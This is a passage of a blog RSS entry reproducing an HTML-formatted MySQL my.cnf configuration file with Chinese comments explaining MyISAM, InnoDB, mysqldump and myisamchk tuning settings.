使用特殊的类似树的cache来使得突发插入<br># (这些插入是,INSERT ... SELECT, INSERT ... VALUES (...), (...), ..., 以及 LOAD DATA<br># INFILE) 更快. 此变量限制每个进程中缓冲树的字节数. <br># 设置为 0 会关闭此优化.<br># 为了最优化不要将此值设置大于 "key_buffer_size".<br># 当突发插入被检测到时此缓冲将被分配.<br><span style="color: rgb(0, 0, 205);">bulk_insert_buffer_size = 64M</span><br><br># 此缓冲当MySQL需要在 REPAIR, OPTIMIZE, ALTER 以及 LOAD DATA INFILE 到一个空表中引起重建索引时被分配.<br># 这在每个线程中被分配.所以在设置大值时需要小心.<br><span style="color: rgb(0, 0, 205);">myisam_sort_buffer_size = 128M</span><br><br># MySQL重建索引时所允许的最大临时文件的大小 (当 REPAIR, ALTER TABLE 或者 LOAD DATA INFILE).<br># 如果文件大小比此值更大,索引会通过键值缓冲创建(更慢)<br><span style="color: rgb(0, 0, 205);">myisam_max_sort_file_size = 10G</span><br><br># 如果被用来更快的索引创建索引所使用临时文件大于制定的值,那就使用键值缓冲方法.<br># 这主要用来强制在大表中长字串键去使用慢速的键值缓冲方法来创建索引.<br><span style="color: rgb(0, 0, 205);">myisam_max_extra_sort_file_size = 10G</span><br><br># 如果一个表拥有超过一个索引, MyISAM 可以通过并行排序使用超过一个线程去修复他们.<br># 这对于拥有多个CPU以及大量内存情况的用户,是一个很好的选择.<br><span style="color: rgb(0, 0, 205);">myisam_repair_threads = 1</span><br><br># 自动检查和修复没有适当关闭的 MyISAM 表.<br><span style="color: rgb(0, 0, 205);">myisam_recover</span><br><br><br># 默认关闭 Federated <br><span style="color: rgb(0, 0, 205);">skip-federated</span><br><br># *** BDB 相关选项 ***<br><br># 如果你运行的MySQL服务有BDB支持但是你不准备使用的时候使用此选项. 这会节省内存并且可能加速一些事.<br><span style="color: rgb(0, 0, 205);">skip-bdb</span><br><br><br># *** INNODB 相关选项 ***<br><br># 如果你的MySQL服务包含InnoDB支持但是并不打算使用的话,<br># 使用此选项会节省内存以及磁盘空间,并且加速某些部分<br>#skip-innodb<br><br># 附加的内存池被InnoDB用来保存 metadata 信息<br># 如果InnoDB为此目的需要更多的内存,它会开始从OS这里申请内存.<br># 由于这个操作在大多数现代操作系统上已经足够快, 你一般不需要修改此值.<br># SHOW INNODB STATUS 命令会显示当先使用的数量.<br><span style="color: rgb(0, 0, 205);">innodb_additional_mem_pool_size = 16M</span><br><br># InnoDB使用一个缓冲池来保存索引和原始数据, 不像 MyISAM. <br># 这里你设置越大,你在存取表里面数据时所需要的磁盘I/O越少.<br># 在一个独立使用的数据库服务器上,你可以设置这个变量到服务器物理内存大小的80%<br># 不要设置过大,否则,由于物理内存的竞争可能导致操作系统的换页颠簸. <br># 注意在32位系统上你每个进程可能被限制在 2-3.5G 用户层面内存限制,<br># 所以不要设置的太高.<br><span style="color: rgb(0, 0, 205);">innodb_buffer_pool_size = 2G</span><br><br># InnoDB 将数据保存在一个或者多个数据文件中成为表空间.<br># 如果你只有单个逻辑驱动保存你的数据,一个单个的自增文件就足够好了.<br># 其他情况下.每个设备一个文件一般都是个好的选择.<br># 你也可以配置InnoDB来使用裸盘分区 - 请参考手册来获取更多相关内容<br><span style="color: rgb(0, 0, 205);">innodb_data_file_path = ibdata1:10M:autoextend</span><br><br># 设置此选项如果你希望InnoDB表空间文件被保存在其他分区.<br># 默认保存在MySQL的datadir中.<br>#innodb_data_home_dir = &lt;directory&gt;<br><br># 用来同步IO操作的IO线程的数量. This value is<br># 此值在Unix下被硬编码为4,但是在Windows磁盘I/O可能在一个大数值下表现的更好.<br><span style="color: rgb(0, 0, 205);">innodb_file_io_threads = 4</span><br><br># 如果你发现InnoDB表空间损坏, 设置此值为一个非零值可能帮助你导出你的表.<br># 从1开始并且增加此值知道你能够成功的导出表.<br>#innodb_force_recovery=1<br><br># 在InnoDb核心内的允许线程数量. <br># 最优值依赖于应用程序,硬件以及操作系统的调度方式. <br># 过高的值可能导致线程的互斥颠簸.<br><span style="color: rgb(0, 0, 205);">innodb_thread_concurrency = 16</span><br><br># 如果设置为1 ,InnoDB会在每次提交后刷新(fsync)事务日志到磁盘上,<br># 这提供了完整的ACID行为.<br># 如果你愿意对事务安全折衷, 并且你正在运行一个小的食物, 你可以设置此值到0或者2来减少由事务日志引起的磁盘I/O<br># 0代表日志只大约每秒写入日志文件并且日志文件刷新到磁盘. <br># 2代表日志写入日志文件在每次提交后,但是日志文件只有大约每秒才会刷新到磁盘上.<br><span style="color: rgb(0, 0, 205);">innodb_flush_log_at_trx_commit = 1</span><br><br># 加速InnoDB的关闭. 这会阻止InnoDB在关闭时做全清除以及插入缓冲合并.<br># 这可能极大增加关机时间, 但是取而代之的是InnoDB可能在下次启动时做这些操作.<br>#innodb_fast_shutdown<br><br># 用来缓冲日志数据的缓冲区的大小.<br># 当此值快满时, InnoDB将必须刷新数据到磁盘上.<br># 由于基本上每秒都会刷新一次,所以没有必要将此值设置的太大(甚至对于长事务而言)<br><br><span style="color: rgb(0, 0, 205);">innodb_log_buffer_size = 8M</span><br><br># 在日志组中每个日志文件的大小.<br># 你应该设置日志文件总合大小到你缓冲池大小的25%~100%<br># 来避免在日志文件覆写上不必要的缓冲池刷新行为.<br># 不论如何, 请注意一个大的日志文件大小会增加恢复进程所需要的时间.<br><span style="color: rgb(0, 0, 205);">innodb_log_file_size = 256M</span><br><br># 在日志组中的文件总数.<br># 通常来说2~3是比较好的.<br><span style="color: rgb(0, 0, 205);">innodb_log_files_in_group = 3</span><br><br># InnoDB的日志文件所在位置. 默认是MySQL的datadir.<br># 你可以将其指定到一个独立的硬盘上或者一个RAID1卷上来提高其性能<br>#innodb_log_group_home_dir<br><br># 在InnoDB缓冲池中最大允许的脏页面的比例.<br># 如果达到限额, InnoDB会开始刷新他们防止他们妨碍到干净数据页面.<br># 这是一个软限制,不被保证绝对执行.<br><span style="color: rgb(0, 0, 205);">innodb_max_dirty_pages_pct = 90</span><br><br># InnoDB用来刷新日志的方法.<br># 表空间总是使用双重写入刷新方法<br># 默认值是 "fdatasync", 另一个是 "O_DSYNC".<br>#innodb_flush_method=O_DSYNC<br><br># 在被回滚前,一个InnoDB的事务应该等待一个锁被批准多久.<br># InnoDB在其拥有的锁表中自动检测事务死锁并且回滚事务.<br># 如果你使用 LOCK TABLES 指令, 或者在同样事务中使用除了InnoDB以外的其他事务安全的存储引擎<br># 那么一个死锁可能发生而InnoDB无法注意到.<br># 这种情况下这个timeout值对于解决这种问题就非常有帮助.<br><span style="color: rgb(0, 0, 205);">innodb_lock_wait_timeout = 120</span><br><br><br><span style="color: rgb(255, 0, 0);">[mysqldump]</span><br># 不要在将内存中的整个结果写入磁盘之前缓存. 在导出非常巨大的表时需要此项<br><span style="color: rgb(0, 0, 205);">quick</span><br><br><span style="color: rgb(0, 0, 205);">max_allowed_packet = 16M</span><br><br><span style="color: rgb(255, 0, 0);">[mysql]</span><br><span style="color: rgb(0, 0, 205);">no-auto-rehash</span><br><br># 仅仅允许使用键值的 UPDATEs 和 DELETEs .<br>#safe-updates<br><br><span style="color: rgb(255, 0, 0);">[isamchk]</span><br><span style="color: rgb(0, 0, 205);">key_buffer = 512M</span><br style="color: rgb(0, 0, 205);"><span style="color: rgb(0, 0, 205);">sort_buffer_size = 512M</span><br style="color: rgb(0, 0, 205);"><span style="color: rgb(0, 0, 205);">read_buffer = 8M</span><br style="color: rgb(0, 0, 205);"><span style="color: rgb(0, 0, 205);">write_buffer = 8M</span><br><br style="color: rgb(255, 0, 0);"><span style="color: rgb(255, 0, 0);">[myisamchk]</span><br><span style="color: rgb(0, 0, 205);">key_buffer = 512M</span><br style="color: rgb(0, 0, 205);"><span style="color: rgb(0, 0, 205);">sort_buffer_size = 512M</span><br style="color: rgb(0, 0, 205);"><span style="color: rgb(0, 0, 205);">read_buffer = 8M</span><br style="color: rgb(0, 0, 205);"><span style="color: rgb(0, 0, 205);">write_buffer = 8M</span><br><br style="color: rgb(255, 0, 0);"><span style="color: rgb(255, 0, 0);">[mysqlhotcopy]</span><br><span style="color: rgb(0, 0, 205);">interactive-timeout</span><br><br><span style="color: rgb(255, 0, 0);">[mysqld_safe]</span><br># 增加每个进程的可打开文件数量.<br># 警告: 确认你已经将全系统限制设定的足够高! <br># 打开大量表需要将此值设高<br><span style="color: rgb(0, 0, 205);">open-files-limit = 8192

</span> ]]>
            </content:encoded>
</item>

</channel>
</rss>
 